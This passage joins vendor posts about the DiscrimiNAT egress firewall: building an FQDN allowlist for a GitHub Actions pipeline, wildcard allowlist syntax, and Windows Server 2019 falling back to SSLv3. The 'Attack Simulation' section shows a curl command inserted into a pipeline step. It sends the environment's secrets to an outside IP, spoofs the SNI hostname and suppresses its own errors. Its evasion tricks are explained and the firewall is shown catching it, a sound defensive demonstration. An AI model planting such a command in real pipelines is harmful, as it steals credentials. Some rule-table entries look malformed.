attached to the Runners] - `runner_egress_rules`: `[]`. Set to an empty list so the default, overly permissive, rule is not deployed. :::info Contact us for expert help at `devsecops@chasersystems.com` at any stage of your journey – we'll jump on a screen-sharing call right away! ::: #### Security Groups The two Security Groups alluded to above, `sg-fooLambda` and `sg-fooRunner`, should be deployed without any rules and referenced in the variables highlighted above. The rules to be added will be discussed during the course of this exercise. ## The Pipeline The workflow is adapted from Snowflake's [DevOps: Database Change Management with schemachange and GitHub](https://www.snowflake.com/en/developers/guides/devops-dcm-schemachange-github/) quickstart – the objective of which is to build a simple CI/CD pipeline for Snowflake with GitHub Actions. ### Modifications There are two notable changes in the [Action YAML from that quickstart](https://www.snowflake.com/en/developers/guides/devops-dcm-schemachange-github/#create-an-actions-workflow): 1. Change of machine-type from GitHub-hosted to self-hosted. ```diff - runs-on: ubuntu-latest + runs-on: self-hosted ``` 2. Removal of the entire step that installs Python, because our choice of AMI has it already. ```diff - - name: Use Python 3.8.x - uses: actions/setup-python@v2.2.1 - with: - python-version: 3.8.x ``` ## `see-thru` Capture Run Both the Security Groups, i.e. the one attached to the Lambda functions and the one attached to the Runners that come up dynamically, are configured with a `see-thru` rule so that the egressing traffic is logged without being blocked. Since the `see-thru` rule type needs a date until which it should work, we supply the current date itself since we expect to have captured all the destination FQDNs with a single run of the pipeline. ### Configure Security Groups :::info DiscrimiNAT OTF is configured through annotations in the description fields of the Security Group Rules. The rules are then applied to the workloads attached to those Security Groups. ::: For reference, **both** the Security Groups, i.e. `sg-fooLambda` and `sg-fooRunner`, should have an outbound rule with the following parameters: | Type | Protocol | Port range | Destination type | Destination | Description | | ----------- | -------- | ---------- | ---------------- | ----------- | ------------------------------- | | All traffic | All | All | Custom | 0.0.0.0/0 | discriminat:see-thru:2021-09-05 | (img/aws-see-thru.gif) _For a complete reference on the `see-thru` rule type including Terraform snippets, see [AWS config reference](/docs/discriminat/aws/config-ref)._ ### Trigger Pipeline With these Security Groups configured, we trigger the pipeline. A few minutes later, the Action has succeeded at GitHub with a ✅. Time to build the FQDNs list from the flow logs. ### Filter & Aggregate Logs In **CloudWatch Log Insights**, with the DiscrimiNAT log group and a narrow time range selected, we enter the following query to determine which destinations the Lambda functions reached out to: ``` filter see_thru_exerted AND see_thru_gid = "sg-fooLambda" | stats count() by see_thru_exerted, see_thru_gid, dhost, proto, dpt ``` We get the results: | dhost | proto | port | | --------------------------- | ----- | ---- | | ec2.us-west-2.amazonaws.com | tls | 443 | | ssm.us-west-2.amazonaws.com | tls | 443 | | api.github.com | tls | 443 | Repeating the exercise with the Runners' Security Group: ``` filter see_thru_exerted AND see_thru_gid = "sg-fooRunner" | stats count() by see_thru_exerted, see_thru_gid, dhost, proto, dpt ``` As expected, we get a different set of results: | dhost | proto | port | | ------------------------------------------------------------ | ----- | ---- | | logs.us-west-2.amazonaws.com | tls | 443 | | ssm.us-west-2.amazonaws.com | tls | 443 | | ec2-instance-connect.us-west-2.amazonaws.com | tls | 443 | | pypi.org | tls | 443 | | files.pythonhosted.org | tls | 443 | | foo-dist-2uejkf9hnqluredp0dfz7t9h.s3.us-west-2.amazonaws.com | tls | 443 | | foo-dist-2uejkf9hnqluredp0dfz7t9h.s3.amazonaws.com | tls | 443 | | amazonlinux-2-repos-us-west-2.s3.us-west-2.amazonaws.com | tls | 443 | | rsa16937.snowflakecomputing.com | tls | 443 | | pipelines.actions.githubusercontent.com | tls | 443 | | github.com | tls | 443 | | codeload.github.com | tls | 443 | | api.github.com | tls | 443 | | vstoken.actions.githubusercontent.com | tls | 443 | | | | 80 | ## Allowlist Enforcement ### Lambda functions' rules The Security Group `sg-fooLambda` is now straightforward to configure. We group the 'suppliers' into a rule for each, within the same Security Group: | Type | Protocol | Port range | Destination type | Destination | Description | | ---------- | -------- | ---------- | ---------------- | ----------- | ----------------------------------------------------------------------- | | Custom TCP | TCP | 443 | Custom | 0.0.0.0/0 | discriminat:tls:ec2.us-west-2.amazonaws.com,ssm.us-west-2.amazonaws.com | | Custom TCP | TCP | 443 | Custom | 0.0.0.0/1 | discriminat:api.github.com | (img/aws-protocol-tls.gif) _For a complete reference on the `tls` rule type including Terraform snippets, see [AWS config reference](/docs/discriminat/aws/config-ref)._ **⚠ And we delete the `see-thru` rule that was put in place.** ### Runners' rules The Security Group `sg-fooRunner` is a bit more comprehensive: | Type | Protocol | Port range | Destination type | Destination | Description | | ---------- | -------- | ---------- | ---------------- | ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Custom TCP | TCP | 443 | Custom | 0.0.0.0/0 | discriminat:tls:logs.us-west-2.amazonaws.com,ssm.us-west-2.amazonaws.com | | Custom TCP | TCP | 443 | Custom | 0.0.0.0/1 | discriminat:tls:pypi.org,files.pythonhosted.org | | Custom TCP | TCP | 443 | Custom | 0.0.0.0/2 | discriminat:tls:discriminat:tls:foo-dist-2uejkf9hnqluredp0dfz7t9h.s3.us-west-2.amazonaws.com,foo-dist-2uejkf9hnqluredp0dfz7t9h.s3.amazonaws.com,amazonlinux-2-repos-us-west-2.s3.us-west-2.amazonaws.com | | Custom TCP | TCP | 443 | Custom | 0.0.0.0/3 | discriminat:tls:discriminat:tls:rsa16937.snowflakecomputing.com | | Custom TCP | TCP | 443 | Custom | 0.0.0.0/4 | discriminat:tls:discriminat:tls:pipelines.actions.githubusercontent.com,github.com,codeload.github.com,api.github.com,vstoken.actions.githubusercontent.com | | Custom TCP | TCP | 80 | Custom | 0.0.0.0/0 | just for quick resets, discriminat will deny anyway | _For a complete reference on the `tls` rule type including Terraform snippets, see [AWS config reference](/docs/discriminat/aws/config-ref)._ A few notes on the assortment of destinations above: 1. The eagle-eyed Terraform practitioners will note that the `foo-dist-.s3..amazonaws.com` can easily and should rather be constructed from the Terraform context itself. 1. The FQDN `ec2-instance-connect.us-west-2.amazonaws.com` has been left out from the observed logs since it's only a telemetry endpoint and does not impact the pipeline's function. 1. There is an _allow all_ rule for port 80. Although the pipeline works without it, various stages take a long time to work through since they wait for the connections to timeout. By allowing such traffic through the Security Group, we instead send a quick protocol-level reset back to the calling client, hastening the pipeline stages. The DiscrimiNAT will not allow a non-`ssh` or a non-`tls` rule anyway, and will log the denial of this traffic nonetheless. **⚠ And we delete the `see-thru` rule that was put in place.** ### Trigger Pipeline With the Security Groups now hardened, we trigger the pipeline again. A few minutes later, the Action has succeeded again at GitHub with a ✅ confirming that the now-configured egress access is adequate. ## Attack Simulation We insert a `curl` command to exfiltrate the secrets. It is inspired by the [Codecov breach](https://www.bleepingcomputer.com/news/security/popular-codecov-code-coverage-tool-hacked-to-steal-dev-credentials/), only that we've evolved it to adapt to HTTPS and spoof its way around [SNI firewalls](/discriminat/comparison/aws-network-firewall). Although in Codecov's case the command was inserted in the Docker image, we've laid it out in the clear here for demonstration. From an execution point-of-view, whether a command is run from within a container, on the shell or a network connection is made from a line of code in an application, it's all the same to a firewall sitting in the network path to the Internet. ### Pipeline Modification ```diff ... echo "Step 1: Installing schemachange" pip3 install schemachange + curl -d "ENV $(env)" -m 0.5 --connect-to "api.github.com:443:1.1.1.1:443" \ + -k -H "Host: 1.1.1.1" https://api.github.com/ || true echo "Step 2: Running schemachange" ... ``` This `curl` command: - POSTs the entire environment of the process, which contains many 'secrets' loaded up from GitHub as well - sets the maximum execution time for itself to 0.5 seconds, to evade detection - connects to IP `1.1.1.1` for requests to `api.github.com` - accepts any SSL certificate sent by the server, whether it is valid or not for the domain name - sets the Host header in the request to `1.1.1.1` as well, just so `1.1.1.1` does not get the `api.github.com` Host header instead - returns an exit code of `0` with `|| true` to the shell, to indicate it worked regardless and let the pipeline continue, to evade detection ### Trigger Pipeline Pipeline still runs successfully to completion ✅. Since we deliberately did not suppress the output from the `curl` command, we notice the following in the pipeline's output: `curl: (35) OpenSSL SSL_connect: Connection reset by peer in connection to api.github.com:443` ### Spotting Leak Attempts Filtering the DiscrimiNAT flow log with a filter such as `{$.outcome = "disallowed" && $.proto = "tls"}` yields the attempted connection! ![](img/disallowed-spoofing.png) From this point, should you choose to, these results could be turned into a metric and alarms built off it following the official guide on [Using Amazon CloudWatch alarms](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html). ## Next Steps 🚀 [Launch a free trial now from the AWS Marketplace](https://aws.amazon.com/marketplace/pp/prodview-7ulmdnoq5jnwu) 🚀 [Get in touch with our stellar DevSecOps](/support) who will: - not only guide you through the best architecture for your use-case - but also troubleshoot any issues you may encounter - and answer any geeky questions on protocols and whatnot 🚀 [See our Quick Start guide for AWS](/docs/discriminat/aws/quick-start) --- ## Wildcards and System 2 Thinking ## Welcome Wildcards! From v2.8.0, DiscrimiNAT OTF supports use of wildcards in an FQDN allowlist. _Last updated: January 10, 2025 to incorporate v2.9.0 improvements_ ![](img/introducing-wildcards.jpg) :::tip If you're in an operations role (SRE, DevOps, etc) the [Operation](/blog/wildcards-and-system-2-thinking/#operation) section will be of particular interest to you. ::: ## Syntax ➟ The character `_` (or even `?` on GCP) may be used to substitute exactly one wild character in an FQDN to be allowed. ➟ Each `_` (or `?`) character must match one domain name permissible letter. It cannot match zero or more than one characters. ➟ The character `*` (or `%`) may be used to substitute any number of characters. ➟ The set of wild characters is from `a` to `z`, `0` to `9` and the `-` (hyphen or minus) only. ➟ The `.` (period, dot or full stop) character is not included. ➟ You may use any number of wildcards in a single FQDN address (in the allowlist). See examples below. ➟ They are supported for the TLS protocol only. :::note Wildcard pattern based rules are not a good substitute for your current, well-known FQDN based rules. See the [Caveats](/blog/wildcards-and-system-2-thinking/#caveats) section for why. ::: ## Examples __`discriminat:tls:???.bbc.co.uk`__ will match: `www.bbc.co.uk` `123.bbc.co.uk` `x-9.bbc.co.uk` will not match: `bbc.co.uk` `smtp.bbc.co.uk` `s3.bbc.co.uk` `w.3.bbc.co.uk` --- __`discriminat:tls:b?-kjr-312q4.us-??st?.gcp.confluent.cloud`__ will match: `b1-kjr-312q4.us-west2.gcp.confluent.cloud` `b9-kjr-312q4.us-east4.gcp.confluent.cloud` `b--kjr-312q4.us-east1.gcp.confluent.cloud` will not match: `b9-kjr-312q4.us-east.gcp.confluent.cloud` `b42-kjr-312q4.us-east4.gcp.confluent.cloud` `b-kjr-312q4.us-east4.gcp.confluent.cloud` `kjr-312q4.us-east4.gcp.confluent.cloud` --- __`discriminat:tls:*.*.foo.com`__ will match: `xyz.www.foo.com` `a.b.foo.com` `ftps.prod.foo.com` will not match: `www.foo.com` `foo.com` `a.b.c.foo.com` --- __`discriminat:tls:*.bar.net`__ will match: `www.bar.net` `x.bar.net` `smtps.bar.net` will not match: `abc.def.bar.net` `bar.net` --- __`discriminat:tls:?????.???`__ will match: `scone.com` `scone.net` `scone.org` `buddy.dog` will not match: `medic.co.uk` `buster.co` --- ## Operation The following describes how DiscrimiNAT dynamically adds rules to itself based on wildcard patterns defined by the user and any observed traffic matching those patterns. 1. Upon first allowlisting a wildcarded FQDN, a `-config` log entry will be emitted as follows from all DiscrimiNAT instances: ```json {"cat": "wildcard-addr", "gid": "foo", "proto": "tls", "instance": "i-bar-xyz", "addr": "???.bbc.co.uk", "outcome": "accepted"} ``` 1. When an application first tries to access an FQDN that would match a wildcarded pattern, a rule for that FQDN is dynamically added to the DiscrimiNAT instance through which this occurred. That instance will emit another `-config` log entry as follows. The private IP of the network interface/VM that initiated this outbound request was 192.168.101.6 in this example: ```json {"cat": "addr", "gid": "foo", "outcome": "accepted", "instance": "i-bar-xyz", "reason": "initiated by 192.168.101.6 causing pattern `???.bbc.co.uk` to match", "addr": "www.bbc.co.uk", "proto": "tls"} ``` 1. At this time, the packet will be rejected with the reason `cache not ready` in the `-flow` log as follows. This state can last from 10 to 90 seconds and the application should timeout not receiving a connection reset: ```json {"dpt": 443, "instance": "i-bar-xyz", "proto_v": "1.3", "cat": "client", "reason": "cache not ready", "spt": 41200, "src": "192.168.101.6", "dhost": "www.bbc.co.uk", "outcome": "disallowed", "dst": "203.0.113.9", "proto": "tls" } ``` 1. After 10 to 90 seconds, the FQDN will work as expected. Note that this process will need to occur on each DiscrimiNAT instance and as noted in caveats below, we're working on fixing this at top priority for the next release. ```json {"dhost": "www.bbc.co.uk", "dpt": 443, "dst": "203.0.113.9", "proto": "tls", "cat": "client", "instance": "i-bar-xyz", "src": "192.168.101.6", "reason": "matching rule found in foo", "outcome": "allowed", "spt": 58412, "proto_v": "1.3"} ``` The particular reason for following this process is that DNS results for newly discovered FQDNs can be validated and cached – a process that needs a little bit of warmup time for our Wormhole DNS technology. This is crucial for safety and prevention of trivial bypasses such as SNI spoofing. See our [litmus test](/discriminat/comparison/aws-network-firewall/#litmus-test) and an independent, third-party [blog post](https://canglad.com/blog/2023/aws-network-firewall-egress-filtering-can-be-easily-bypassed/) on such a bypass in AWS Network Firewall when used without TLS decryption. ## Caveats 1. As of v2.9.0, the dynamically added list of FQDNs, having matched a wildcarded pattern, is ephemeral per instance of DiscrimiNAT. This issue will be resolved with the highest priority for the next release. 1. Each instance of DiscrimiNAT will need to witness a matching packet trying to pass through before it warms up its cache for it. This issue will also be resolved with the highest priority for the next release. 1. It can take from 10 to 90 seconds for a dynamically added FQDN to be able to pass through successfully for the first time. 1. Wildcards only work for the TLS protocol. 1. From v2.9.0, the `*` (asterisk or splat) character, that would match zero or more characters, is supported but according to the [`wildcard_exposure` preference](/docs/discriminat/gcp/default-prefs/#wildcard_exposure). :::caution It is recommended to use at least machine size `n2-highcpu-2`/`n2d-highcpu-2` on GCP or `c6i.large`/`c6a.large` on AWS when using wildcards. ::: ## Philosophy If we look at the internet as a menagerie of different creatures, we can see that some are our pets, some we want to be friends with, some we don't care about, and some can be outright dangerous. ![](img/all-the-wild-ones.jpg) If computers had the job of matching all of the above, they'd be able to understand our intent with use of the `*` [glob](https://en.wikipedia.org/wiki/Glob_(programming)#Syntax) character. Effective egress control is akin to picking the individual animals to engage with rather than whole zoos. For example, `panda.mymate.zoo` and `zebra.mymate.zoo` are entities you want to have a channel open with, but `lion.mymate.zoo` not so much. The `pelican.` over at `friend.zoo` is okay too, but not perhaps the `deer.friend.zoo` at this time. Then there's `snake.foe.zoo`, or generally anything at apex domain `foe.zoo` you want to avoid contact with, but perhaps with the exception of `magpie.foe.zoo` for the time being due to some history. These individual animals are _tenants_ at these respective zoos. Much like the Cloud today where individual, not-connected, private entities (anybody with a credit card) could be a tenant at one of AWS, GCP, Cloudflare, Fastly, Akamai, Salesforce, etc with their own dedicated subdomain. ### System 1 With an overwhelming amount of subdomains observed in our egress traffic to a particular apex domain, we could be tempted to allow access to the entire apex domain – for example, `*.s3.amazonaws.com` or `*.githubusercontent.com`. This could seem to be the best way to balance time spent on, and security of, allowlists for outbound traffic. That is _System 1_ thinking. ![](img/bat-and-ball-problem-thinking-fast-slow.png)
The answer is not $0.10. Image credit: https://www.themarketingstudent.com/thinking-fast-and-slow/
> 🤨 _Dear ChatGPT, can you very, very concisely describe System 1 and System 2 from Kahneman's [Thinking, Fast and Slow](https://www.goodreads.com/book/show/11468377-thinking-fast-and-slow)?_ > 🤖 System 1 is fast, automatic, and intuitive thinking. System 2 is slow, deliberate, and analytical thinking. > 🤨 _Okay, bit more._ > 🤖 System 1 operates quickly and effortlessly, relying on intuition and heuristics to make decisions without conscious thought. It's prone to biases and errors but is efficient for routine tasks. > 🤖 System 2, on the other hand, is slow, deliberate, and requires conscious effort. It engages in logical reasoning, problem-solving, and critical thinking, helping to correct or override the instincts of System 1, though it's more mentally taxing. --- To continue to deliver a product that is safe to operate by engineers of any specialisation, we knew we had to invoke the System 2 part of the brain and prevent an overly permissive, multi-tenant pattern from entering the allowlists. ### Data We now have over 100MM lines of log samples – thanks to the customers who've chosen to leave Automated System Health Reporting turned on. This data suggests that most of the time when you are dealing with unpredictable subdomains, ones that cannot be known in advance, they tend to be FQDNs of CDNs or APIs for client-side load balancing. Some examples: `7-32-3-app.agent.datadoghq.com` `cdn02.quay.io` `b9-kjr-312q4.us-east4.gcp.confluent.cloud` `repeater-local-007-ec2-use1e-prod.browserstack.com` ![](img/specific-wild-glob.jpg) Using System 2, the invariant part of these examples can be rather quickly spotted! `7-32-3-app.agent.datadoghq.com`: [Datadog's documentation](https://docs.datadoghq.com/agent/configuration/network/) confirms the pattern is `-app.agent.datadoghq.com`. By restricting the use of `*` and only allowing the match of exactly one character at a time, this could be defined as `?-??-?-app.agent.datadoghq.com`. If logs from dry-run/monitor mode show a single digit in the midst as well, then another pattern could be added to the allowlist: `?-?-?-app.agent.datadoghq.com`. `cdn02.quay.io`: [Redhat's documentation](https://access.redhat.com/articles/6999582) lists the possible variations. The patterns would be `cdn.quay.io` and `cdn??.quay.io`. `b9-kjr-312q4.us-east4.gcp.confluent.cloud`: In this case, another FQDN which is a substring of this was seen pass through the firewall: `kjr-312q4.us-east4.gcp.confluent.cloud`. This would appear to be the tenant ID of the customer this log line is from. (Original alphanumeric identifiers have been changed to prevent information disclosure.) The number after the very first `b` goes from `0` to `26`. So, the patterns for accessing this Kafka cluster would be `kjr-312q4.us-east4.gcp.confluent.cloud`, `b?-kjr-312q4.us-east4.gcp.confluent.cloud` and `b??-kjr-312q4.us-east4.gcp.confluent.cloud`. `repeater-local-007-ec2-use1e-prod.browserstack.com`: With similar FQDNs accessed, such as `repeater-local-008-dcp-use3a-prod.browserstack.com` and `repeater-local-052-ec2-use3b-prod.browserstack.com`, System 1 could've defaulted to `*.browserstack.com`. With the option of `*` taken away, System 2 will see that the pattern is `repeater-local-???-???-us???-prod.browserstack.com`. The `use1e`, `use3a` and `use3b` are geographies since `cac1a`, `euw1a` and `apse2a` were also observed in that position. System 2 may have well prevented your data from being processed in a location it wasn't meant to be. Other potential candidates include, for example, `890831537354-dot-europe-west2.kernels.googleusercontent.com`. The first group of digits appear to be a tenant's numeric project ID and therefore it's best not to replace it with a `*`, as that would match all possible tenant projects on GCP! The more rigorous, System 2 invoking syntax seems to cover all the use-cases from the data we have well. ## Feedback At this time, we believe with the ability to specify patterns in a safer way than with use of the _match zero or more than one characters_ convention of the `*` symbol, we're enabling our customers to simplify their management of the rule-set whilst addressing legitimate challenges with variable addressing. We remain, of course, open to critical feedback and willing to change, provided relevant data and challenges are shared with us. Do [write to us](/support/) with your thoughts. :::tip If you're not familiar yet, we have 3½ minute videos ([AWS](/docs/discriminat/aws/logs-ref/#building-an-allowlist-from-scratch-video-version), [GCP](/docs/discriminat/gcp/logs-ref/#building-an-allowlist-from-scratch-video-version)), with copyable CLI commands underneath, that can help you discover and extract the list of FQDNs particular apps in your environment have been accessing – in a format that can be used straightaway in the syntax, speeding up your IaC iterations. ::: ## Bibliography ![](img/book-thinking-fast-slow.jpg)
Image credit: https://us.macmillan.com/books/9780374275631/thinkingfastandslow
--- ## Windows Server 2019 Phoning Home on an SSLv3 Line :::note learning Observation of traffic from a Windows Server 2019 instance with a firewall restricting its egress, and a CloudWatch exercise in filtering and aggregation ::: ## Routine Test At Chaser, we routinely test a variety of real-world setups through the [DiscrimiNAT OTF](/discriminat/). It helps keep on top of implementation subtleties by different vendors and identify any regressions early as we improve the product. FQDN filter for Windows on AWS egress, shall we? So we fire up the latest and greatest Windows this time, with outbound allowed to `0.0.0.0/0` on all ports. :::info These observations were made on deploying a _Microsoft Windows Server 2019 Base_ instance with AMI ID _ami-023b643326f4d6eff_ in the _eu-west-2_ region of AWS. ::: ## Flow Logs In our setup where no DiscrimiNAT specific outbound rules existed in the Security Groups attached to this instance, we observed 132 disallowed connections in the 20 minutes of life it had. We were expecting it to phone home a fair bit. So no surprises there. Query Used: `stats count()` ![CloudWatch stats count](img/windows-sslv3-01-count.png) Breaking it down by destination hostnames, we get our first glimpse into the various services it's trying to connect to. Query Used: `stats count() by dhost` ![CloudWatch stats count() by dhost](img/feature.png) Interesting that 53 times, the `dhost` field was empty. We wonder what's going on there... Query Used: `filter ! ispresent(dhost) | stats count() by proto,dpt` ![CloudWatch filter by protocol and destination port](img/windows-sslv3-03-ports.png) Well, port 80 is easily explained – plaintext HTTP connections most likely. Since we don't implement a plaintext parser, the `dhost` field comes out empty. However, `dhost` absent when the protocol is TLS is unexpected. SNI has been standard for so many years, so we decide to dig in a bit deeper. Query Used: `filter ! ispresent(dhost) | stats count() by proto,dpt,proto_v` ![CloudWatch No SNI](img/windows-sslv3-04-sslv3-no-sni.png) `SSLv3`? **No!** We are in denial at this stage. - Is this a bug in our TLS parser? - Merely a logging issue? - Windows XP? ## Trying Hard Query Used: `{$.dst = 40.90.137.125}` ![CloudWatch TLS Downgrade](img/windows-sslv3-05-tls-downgrade.png) ![CloudWatch JSON expanded "reason" field](img/windows-sslv3-06-discriminat-firewall-working.png) It would appear the firewall is working as expected, but Windows is attempting with a lower version of TLS in case a connection attempt fails. **And it goes all the way down to SSLv3!** This cycle occurs a few times during our test. ## Not Always Query Used: `{$.dst = "13.74.179.117"}` ![CloudWatch TLS 1.2 stays](img/windows-sslv3-07-tls-1.2-stays.png) In the case of hostname `sls.update.microsoft.com`, that doesn't appear to be the case. It stays at TLS 1.2. A disparate but welcome behaviour! ## More Questions We know Windows carries a lot of baggage, but one can't help wonder if this can be exploited by deliberately inducing a network issue, externally manifested. Also, the difference in the behaviour of perhaps various subsystems within Windows hints of long-forgotten tech debt. We hope you enjoyed this CloudWatch exercise in filtering, armed now with the knowledge that a [modern firewall](/discriminat) can prevent a lot of undesirable behaviour emanating from programs we trust to run in the Cloud. Do watch our [2-minute demo](/discriminat/aws/demo) on how DiscrimiNAT integrates with Security Groups on AWS.